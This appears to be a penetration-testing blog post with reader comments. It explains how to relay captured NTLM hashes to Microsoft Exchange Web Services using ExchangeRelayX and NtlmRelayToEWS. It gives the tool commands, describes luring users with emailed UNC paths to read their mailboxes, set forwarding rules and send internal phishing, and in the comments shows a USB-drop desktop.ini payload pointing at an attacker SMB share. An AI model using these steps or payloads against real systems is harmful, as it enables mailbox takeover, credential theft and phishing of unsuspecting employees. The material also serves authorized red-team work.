Gaining access to the mailbox of a user during a penetration test or a red team engagement can lead to arbitrary code execution, discovery of sensitive data such as credentials or performing internal Phishing to expand access across the network. Typically access to the mailbox is achieved via Phishing or Password Spraying.

Microsoft Exchange servers give a number of opportunities to attackers to abuse existing services like ActiveSync, EWS etc. Some of these services (MAPI, RPC and EWS) support NTLM authentication by default which can allow an attacker to perform a NTLM relay and get direct access to the inbox of a user. This avoids the need to crack the password hash which can be a time consuming process.

William Martin developed a python tool called ExchangeRelayX which can conduct NTLM Relay attack to Microsoft Exchange servers by attacking Exchange Web Services. Executing the following command will check if the Exchange Server support NTLM authentication.

 ./exchangeRelayx.py -c -t https://10.0.1.2 

ExchangeRelayX – Check for NTLM Support

Running again the tool only with the -t parameter (IP address of the Exchange Server) will setup an SMB listener and an HTTP server that will serve a local mail server.

 ./exchangeRelayx.py -t https://10.0.1.2 

ExchangeRelayX – Relay Servers

The mail server will run on localhost port 8000 and it can be access from the browser. Domain users which they got their NTLM password hash captured will appear on this page.

ExchangeRelayX – Main Page

There are multiple ways that NTLM authentication can be triggered. Some of them they have described in the article Places of Interest in Stealing NetNTLM hashes. However, the easiest method is to send an email that will contain a UNC path that will point to the address of the listeners.

Email – UNC Path

Users which they will receive a link with a UNC path that will target the IP address of the listeners will leak their NTLM hash once they click it. The NTLM hash will be captured and the tool will relay the hash to the Exchange for authentication. If the authentication is successful users will be added to the connection manager.

ExchangeRelayX – Relay Attack

The email server acts as an email viewer and the communication is performed via API calls to the Exchange Web Services (EWS).

ExchangeRelayX – Popped Users

The users will be able to get access to the inbox, draft, sent and deleted items. Any sensitive emails stored in these folders can be retrieved. The ExchangeRelayX also has a function to compose a new email for conducting an internal Phishing campaign in order to compromise mailboxes of additional users.

ExchangeRelayX – Accessing Mailbox

The address list can be also retrieved from the Address Book function.

ExchangeRelayX – Address List

Similar to ExchangeRelayx, Arno0x0x developed a tool called NtlmRelayToEWS which can be used to perform the same attack but without the Email interface. Both of these tools require Impacket suite for relay. This tool can be used to perform the following:

  • Send an HTML formed email
  • Harvest all items from Inbox, Sent Items, Calendar, Tasks
  • Inject a malicious forward rule to another email address
  • Home Page attack
  • Set a delegate address

The following command can be used to send an HTML formed email. Full details about the tool usage can be found in the GitHub page.

 ./ntlmRelayToEWS.py -t https://10.0.1.2/EWS/exchange.asmx -r sendMail -d "Ian@pentest.local" -s Subject -m sampleMsg.html 

NtlmRelayToEWS

10 Comments

  1. Hi! I tested this tool on my network. After successfully obtaining the NTLM hashes, nothing happens. Maybe it is because my Exchange version is 2016.

    1. Hi Andre, The tool was tested on Microsoft Exchange 2016. If you can provide the output of what you receive I might be able to assist. After you get the NTLM hash you cannot see any authentication attempts?

      Exchange Web Services should be running in order for the tool to perform the relay.

      1. root@kali:/usr/share/ExchangeRelayX# ./exchangeRelayx.py -t https://
        ExchangeRelayX
        Version: 1.0.0

        [*] Testing https:///EWS/Exchange.asmx for NTLM authentication support…
        [*] SUCCESS – Server supports NTLM authentication
        [*] Setting up SMB Server
        [*] Setting up HTTP Server
        [*] Relay servers started
        * Serving Flask app “lib.owaServer” (lazy loading)
        * Environment: production
        WARNING: Do not use the development server in a production environment.
        Use a production WSGI server instead.
        * Debug mode: off
        [*] * Running on http://127.0.0.1:8000/ (Press CTRL+C to quit)
        [*] SMBD-Thread-4: Received connection from , attacking target https://
        [*] SMBD-Thread-5: Received connection from , attacking target https://
        [*] SMBD-Thread-6: Received connection from , attacking target https://
        [*] SMBD-Thread-7: Received connection from , attacking target https://
        [*] SMBD-Thread-8: Received connection from , attacking target https://
        [*] HTTPD: Received connection from , attacking target https://
        [*] HTTPD: Client requested path: /test.ico
        [*] HTTPD: Client requested path: /test.ico
        [*] HTTPD: Client requested path: /test.ico
        [*] HTTPD: Client requested path: /test.ico
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET / HTTP/1.1” 200 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/jquery.min.js HTTP/1.1” 304 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/Control.js HTTP/1.1” 200 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/CSS/Bootstrap/css/bootstrap.min.css HTTP/1.1” 200 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/popper.min.js HTTP/1.1” 304 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /favicon.ico HTTP/1.1” 404 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /listSessions HTTP/1.1” 200 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:33] “GET / HTTP/1.1” 200 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/jquery.min.js HTTP/1.1” 304 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/popper.min.js HTTP/1.1” 304 –
        [*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –

    1. From the log I cannot see any authentication attempt to the Exchange with the NTLM hash that you have captured. How do you craft your email? Because the client is requesting a path on a web server (/test.ico) and then the tool breaks.

      Also, have you installed the required version of impacket? (not the one installed on kali). Use pip install -r requirements.txt

  2. Hi again. First of all, thanks for your help!

    I used 2 different vectors:

    1. USB key drop: one folder “Secret” with the desktop.ini:
    [.ShellClassInfo]
    IconResource=\\KALI_IP_ADDRESS\test.ico,011

    2. Email

    Fake link to youtube

    Before that, I tested with Responder and, in both cases, I managed to receive the NTML hash correctly.

    In the log showed before, after receiving the connection and attacking target, nothing happened.

    [*] * Running on http://127.0.0.1:8000/ (Press CTRL+C to quit)
    [*] SMBD-Thread-4: Received connection from , attacking target https://MY-EXCHANGE-SERVER
    [*] SMBD-Thread-5: Received connection from , attacking target https://MY-EXCHANGE-SERVER
    [*] SMBD-Thread-6: Received connection from , attacking target https://MY-EXCHANGE-SERVER
    [*] SMBD-Thread-7: Received connection from , attacking target https://MY-EXCHANGE-SERVER
    [*] SMBD-Thread-8: Received connection from , attacking target https://MY-EXCHANGE-SERVER
    [*] HTTPD: Received connection from MY-HOST-IP, attacking target https://MY-EXCHANGE-SERVER
    [*] HTTPD: Client requested path: /test.ico
    [*] HTTPD: Client requested path: /test.ico
    [*] HTTPD: Client requested path: /test.ico

    Notice that, in your post, after receiving connection, this happens:

    “HTTP server retorned error code 400, treating as a successful login”

    In my case, it didn’t.

    Best regards!

Leave a comment